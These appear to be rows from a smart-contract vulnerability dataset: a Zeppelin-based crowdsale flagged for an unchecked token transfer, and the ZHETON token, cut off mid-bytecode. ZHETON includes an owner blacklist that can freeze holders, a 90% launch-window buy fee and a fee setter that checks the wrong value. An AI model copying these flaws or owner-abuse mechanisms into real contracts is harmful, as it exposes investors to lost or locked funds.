_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/emission/AllowanceCrowdsale.sol
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
function AllowanceCrowdsale(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
// File: node_modules/zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/KeyrptoCrowdsale2.sol
contract KeyrptoCrowdsale2 is TimedCrowdsale, AllowanceCrowdsale {
function KeyrptoCrowdsale2(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
ERC20 _token) public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
AllowanceCrowdsale(_wallet)
{
// Empty constructor
}
/**
* @dev Extend parent behavior adding pricing tiers
* @param _weiAmount Amount of wei contributed
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(getRateIncludingBonus());
}
function getRateIncludingBonus() internal view returns (uint256) {
if (now < openingTime + 1 weeks) {
return rate.mul(125).div(100);
} else if (now < openingTime + 3 weeks) {
return rate.mul(115).div(100);
} else if (now < openingTime + 5 weeks) {
return rate.mul(110).div(100);
} else if (now < openingTime + 7 weeks) {
return rate.mul(105).div(100);
} else {
return rate;
}
}
} | 0x60606040526004361061008a5763ffffffff60e060020a6000350416631515bc2b81146100955780632c4e722e146100bc5780634042b66f146100e15780634b6753bc146100f4578063521eb27314610107578063b7a8807c14610136578063bf58390314610149578063bff99c6c1461015c578063ec8ac4d81461016f578063fc0c546a14610183575b61009333610196565b005b34156100a057600080fd5b6100a861023e565b604051901515815260200160405180910390f35b34156100c757600080fd5b6100cf610247565b60405190815260200160405180910390f35b34156100ec57600080fd5b6100cf61024d565b34156100ff57600080fd5b6100cf610253565b341561011257600080fd5b61011a610259565b604051600160a060020a03909116815260200160405180910390f35b341561014157600080fd5b6100cf610268565b341561015457600080fd5b6100cf61026e565b341561016757600080fd5b61011a6102e9565b610093600160a060020a0360043516610196565b341561018e57600080fd5b61011a6102f8565b3460006101a38383610307565b6101ac82610334565b6003549091506101c2908363ffffffff61035416565b6003556101cf838261036e565b82600160a060020a031633600160a060020a03167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18848460405191825260208201526040908101905180910390a36102278383610330565b61022f610378565b6102398383610330565b505050565b60055442115b90565b60025481565b60035481565b60055481565b600154600160a060020a031681565b60045481565b60008054600654600160a060020a039182169163dd62ed3e91163060405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156102ce57600080fd5b5af115156102db57600080fd5b505050604051805191505090565b600654600160a060020a031681565b600054600160a060020a031681565b600454421015801561031b57506005544211155b151561032657600080fd5b61033082826103ae565b5050565b600061034e6103416103cf565b839063ffffffff61049516565b92915050565b60008282018381101561036357fe5b8091505b5092915050565b61033082826104c0565b600154600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156103ac57600080fd5b565b600160a060020a03821615156103c357600080fd5b80151561033057600080fd5b600060045462093a800142101561040e5761040760646103fb607d60025461049590919063ffffffff16565b9063ffffffff61054516565b9050610244565b600454621baf80014210156104385761040760646103fb607360025461049590919063ffffffff16565b600454622e2480014210156104625761040760646103fb606e60025461049590919063ffffffff16565b600454624099800142101561048c5761040760646103fb606960025461049590919063ffffffff16565b50600254610244565b6000808315156104a85760009150610367565b508282028284828115156104b857fe5b041461036357fe5b600054600654600160a060020a03918216916323b872dd9116848460405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561052a57600080fd5b5af1151561053757600080fd5b505050604051805150505050565b600080828481151561055357fe5b049493505050505600a165627a7a7230582000fdba04b45aa4cc73e6ccffd941005a56dd62db9b2b90c72b492ed6ff233dfa0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 656 |
0x10151f744e84c5b76023e120939dc8dd3e465066 | /**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZHETON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Zheton";
string private constant _symbol = unicode"ZHETON";
uint256 private minContractTokensToSwap = 1e9 * 10**9;
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 9;
uint256 private _liquidityFeePercentage = 18;
uint256 private _maxWalletPercentage = 2;
uint256 private _buyFee = 8;
uint256 private _sellFee = 22;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _launchTime;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private _swapAll = false;
bool private _takeFeeFromTransfer = false;
bool private inSwap = false;
mapping(address => bool) private automatedMarketMakerPairs;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if(block.timestamp > _launchTime + (7 minutes)) {
_teamFee = _buyFee;
} else {
_teamFee = 90;
}
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxWalletPercentage).div(100));
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = _sellFee;
if(contractTokenBalance > minContractTokensToSwap) {
if(!_swapAll) {
contractTokenBalance = minContractTokensToSwap;
}
if (_liquidityFeePercentage > 0) {
swapAndLiquify(contractTokenBalance);
} else {
swapWithoutLiquify(contractTokenBalance);
}
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode) {
takeFee = false;
}
if(!_takeFeeFromTransfer && !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]) {
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 teamFeePercentage = 100 - _liquidityFeePercentage;
uint256 amtForLiquidity = contractTokenBalance.mul(_liquidityFeePercentage).div(100);
uint256 halfLiq = amtForLiquidity.div(2);
uint256 amountToSwapForETH = contractTokenBalance.sub(halfLiq);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 feeBalance = ethBalance.mul(teamFeePercentage).div(100);
sendETHToFee(feeBalance);
uint256 ethForLiquidity = ethBalance - feeBalance;
if (halfLiq > 0 && ethForLiquidity > 0) {
// add liquidity
addLiquidity(halfLiq, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, amtForLiquidity);
}
}
function swapWithoutLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualSwapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
_launchTime = block.timestamp;
automatedMarketMakerPairs[uniswapV2Pair] = true;
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setTakeFeeFromTransfer(bool onoff) external {
require(_msgSender() == _FeeAddress);
_takeFeeFromTransfer = onoff;
}
function setBuyFee(uint256 buy) external {
require(_msgSender() == _FeeAddress);
require(buy <= 10, "Buy fee must be less than 10");
_buyFee = buy;
}
function setSellFee(uint256 sell) external {
require(_msgSender() == _FeeAddress);
require(sell <= 20, "Sell fee must be less than 20");
_sellFee = sell;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 5, "tax must be less than 5");
_taxFee = tax;
}
function setLiquidityFeePercent(uint256 liquidityFee) external {
require(_msgSender() == _FeeAddress);
require(_liquidityFeePercentage >= 0 && _liquidityFeePercentage <= 100, "liquidity fee percentage must be between 0 to 100");
_liquidityFeePercentage = liquidityFee;
}
function setMinContractTokensToSwap(uint256 numToken) external {
require(_msgSender() == _FeeAddress);
minContractTokensToSwap = numToken;
}
function setMaxWalletPercentage(uint256 percentage) external {
require(_msgSender() == _FeeAddress);
require(percentage >= 2 && percentage <= 100, "max wallet percentage must be between 2 to 100");
_maxWalletPercentage = percentage;
}
function setSwapAll(bool onoff) external {
require(_msgSender() == _FeeAddress);
_swapAll = onoff;
}
function setBots(address[] calldata bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
manualSwapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setAutomatedMarketMakerPair(address pair, bool value) external {
require(_msgSender() == _FeeAddress);
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
}
} | 0x6080604052600436106101e75760003560e01c80637a845ece11610102578063c118756911610095578063cf0848f711610064578063cf0848f714610697578063db92dbb6146106c0578063dd62ed3e146106eb578063de30aad114610728576101ee565b8063c118756914610617578063c3c8cd8014610640578063c4081a4c14610657578063c9567bf914610680576101ee565b806395d89b41116100d157806395d89b411461055d5780639a7a23d614610588578063a9059cbb146105b1578063b515566a146105ee576101ee565b80637a845ece146104b75780638b4cee08146104e05780638da5cb5b146105095780638ee88c5314610534576101ee565b8063313ce5671161017a5780635d098b38116101495780635d098b38146104235780636fc3eaec1461044c57806370a0823114610463578063715018a6146104a0576101ee565b8063313ce567146103695780633bbac57914610394578063437823ec146103d15780634b740b16146103fa576101ee565b806318160ddd116101b657806318160ddd146102ad57806323b872dd146102d8578063273123b71461031557806327f3a72a1461033e576101ee565b806306fdde03146101f3578063095ea7b31461021e5780630cc835a31461025b57806312dfbd3314610284576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610751565b6040516102159190614053565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190613aa7565b61078e565b6040516102529190614038565b60405180910390f35b34801561026757600080fd5b50610282600480360381019061027d9190613b8e565b6107ac565b005b34801561029057600080fd5b506102ab60048036038101906102a69190613b8e565b61085b565b005b3480156102b957600080fd5b506102c26108c6565b6040516102cf9190614295565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa9190613a14565b6108d7565b60405161030c9190614038565b60405180910390f35b34801561032157600080fd5b5061033c6004803603810190610337919061394d565b6109b0565b005b34801561034a57600080fd5b50610353610aa0565b6040516103609190614295565b60405180910390f35b34801561037557600080fd5b5061037e610ab0565b60405161038b9190614341565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b6919061394d565b610ab9565b6040516103c89190614038565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f391906139a7565b610b0f565b005b34801561040657600080fd5b50610421600480360381019061041c9190613b34565b610bcb565b005b34801561042f57600080fd5b5061044a600480360381019061044591906139a7565b610c49565b005b34801561045857600080fd5b50610461610dc0565b005b34801561046f57600080fd5b5061048a6004803603810190610485919061394d565b610e32565b6040516104979190614295565b60405180910390f35b3480156104ac57600080fd5b506104b5610e83565b005b3480156104c357600080fd5b506104de60048036038101906104d99190613b8e565b610fd6565b005b3480156104ec57600080fd5b5061050760048036038101906105029190613b8e565b611092565b005b34801561051557600080fd5b5061051e611141565b60405161052b9190613f6a565b60405180910390f35b34801561054057600080fd5b5061055b60048036038101906105569190613b8e565b61116a565b005b34801561056957600080fd5b5061057261122a565b60405161057f9190614053565b60405180910390f35b34801561059457600080fd5b506105af60048036038101906105aa9190613a67565b611267565b005b3480156105bd57600080fd5b506105d860048036038101906105d39190613aa7565b611367565b6040516105e59190614038565b60405180910390f35b3480156105fa57600080fd5b5061061560048036038101906106109190613ae7565b611385565b005b34801561062357600080fd5b5061063e60048036038101906106399190613b34565b6115bf565b005b34801561064c57600080fd5b5061065561163d565b005b34801561066357600080fd5b5061067e60048036038101906106799190613b8e565b6116b7565b005b34801561068c57600080fd5b50610695611766565b005b3480156106a357600080fd5b506106be60048036038101906106b991906139a7565b611cfe565b005b3480156106cc57600080fd5b506106d5611dba565b6040516106e29190614295565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d91906139d4565b611dec565b60405161071f9190614295565b60405180910390f35b34801561073457600080fd5b5061074f600480360381019061074a9190613b34565b611e73565b005b60606040518060400160405280600681526020017f5a6865746f6e0000000000000000000000000000000000000000000000000000815250905090565b60006107a261079b611ef0565b8484611ef8565b6001905092915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ed611ef0565b73ffffffffffffffffffffffffffffffffffffffff161461080d57600080fd5b600a811115610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890614275565b60405180910390fd5b80600e8190555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089c611ef0565b73ffffffffffffffffffffffffffffffffffffffff16146108bc57600080fd5b8060098190555050565b6000683635c9adc5dea00000905090565b60006108e48484846120c3565b6109a5846108f0611ef0565b6109a085604051806060016040528060288152602001614b3360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610956611ef0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127779092919063ffffffff16565b611ef8565b600190509392505050565b6109b8611ef0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c906141b5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610aab30610e32565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b50611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614610b7057600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614610c2c57600080fd5b80601660156101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8a611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614610caa57600080fd5b600060056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e01611ef0565b73ffffffffffffffffffffffffffffffffffffffff1614610e2157600080fd5b6000479050610e2f816127db565b50565b6000610e7c600260008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffff